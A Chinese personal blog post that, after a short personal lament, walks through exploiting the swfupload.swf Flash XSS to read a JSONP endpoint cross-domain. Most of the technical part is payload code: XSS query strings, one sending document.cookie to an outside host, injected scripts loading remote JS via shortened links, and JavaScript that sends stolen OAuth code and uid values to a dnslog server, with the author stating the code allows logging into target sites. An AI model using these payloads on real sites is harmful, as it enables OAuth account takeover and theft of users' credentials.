Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

利用FLASH XSS跨域读取 jsonp

利用FLASH XSS跨域读取 jsonp。其中FALSH XSS是swfupload.sw的 XSS 来读取jsonp的code 与token值。

XSS 是很老的一个XSS了。 swfupload.swf XSS,这里是如果利用这个xss 读取jsonp.

简单的几种payload:

/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

/swfupload.swf??movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//

/swfupload.swf??movieName="])}catch(e){if(!window.x){window.x=1;(function(){(new Image()).src='https://xss.me&cookie='+escape(document.cookie);})();}}//

swf标签没有名为 head 的元素

在html 使用 :(function(){var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com";document.getElementsByTagName("head")[0].appendChild(jsonp);});

在 swf中没有 head   所有使用body


使用:

swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//

可以弹出 xss.js 里面的代码:alert(1);

这里直接在js里面写。。写了好多次,发现 都是不能读取 cookies.我也不知道是什么问题,有前端大神知道,可以CALL我一下,被我指出问题。

再次修改:

swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://rrd.me/bpL2K";document.body.appendChild(jsonp);var jsonp=document.createElement("script");jsonp.src="https://rrd.me/bpL2Y";document.body.appendChild(jsonp);}}//

这里给出一个小的flag,在服务端对?"&等特殊符号有处理或者检测时。用短域名能减少很多的麻烦事。有一个好习惯。

其中的js  这样写:

alert("You'r code:"+abc.data.code+"\n"+"You'r uid:"+abc.data.uid);

这里测试可以获取到data.code  与data.uid。 说明就是没有问题了。这里就只用在构建一个script.把其中的data.code   data.uid发送到我们自己的服务器上去。就可以获取到自己的oauth认证的code与token

其中我JS里面的内容是这样的。

var img = document.createElement("img"); img.src = 'https://xxx.dnslog.link/?c='+abc.data.code+abc.data.uid; document.body.appendChild(img);

var s = document.createElement('script');s.src = "https://xxx.dnslog.link/?c="+abc.data.code+"--"+abc.data.uid;document.body.appendChild(s);

收到了CODE 值,有CODE值。是可以用oauth授权口登陆自己想要登陆的网站的。




------------------------------------------


PS:


其中大家发现之前是这样执行JS里面内容的。

swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//

其中XSS.JS里面的内容是:


------------xss.js--------------------------

var xmlhttp;  

    // 创建XMLHTTPRequest对象  

    function createXMLHTTPRequest()  

    {  

         if(window.ActiveXObject)//②如果当前浏览器为IE  

         {  

            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");  

         }  

         else if(window.XMLHttpRequest)//③如果是其他浏览器  

         {  

            xmlhttp = new XMLHttpRequest();  

         }else  

         {  

             alert("Your browser does not support XMLHTTP.");  

        }  

    }  

      

    function getInfo()  

    {  

      createXMLHTTPRequest();  

      xmlhttp.open("get", "https://xxxx.xxx.com/iframe/auth?callback=&client_id=1&id=xxx", true);  

      xmlhttp.onreadystatechange = returnInfo;  

      xmlhttp.send(null);  

    }  

      

    function returnInfo()  

    {

      if(xmlhttp.readyState == 4)  

      {  

       var info = xmlhttp.responseText; 

       eval("var json= " + info);

   alert(json.code);

      }  

    }

getInfo();

--------------------------------------------------------

放弃用这个读取,是因为xmlhttp貌似读取不到code与token值。我也不知道是什么问题。所以放弃了用xmlhttp读取。有大神懂也请一并告诉我一下为什么。

评论

© Sh4dow's Blog | Powered by LOFTER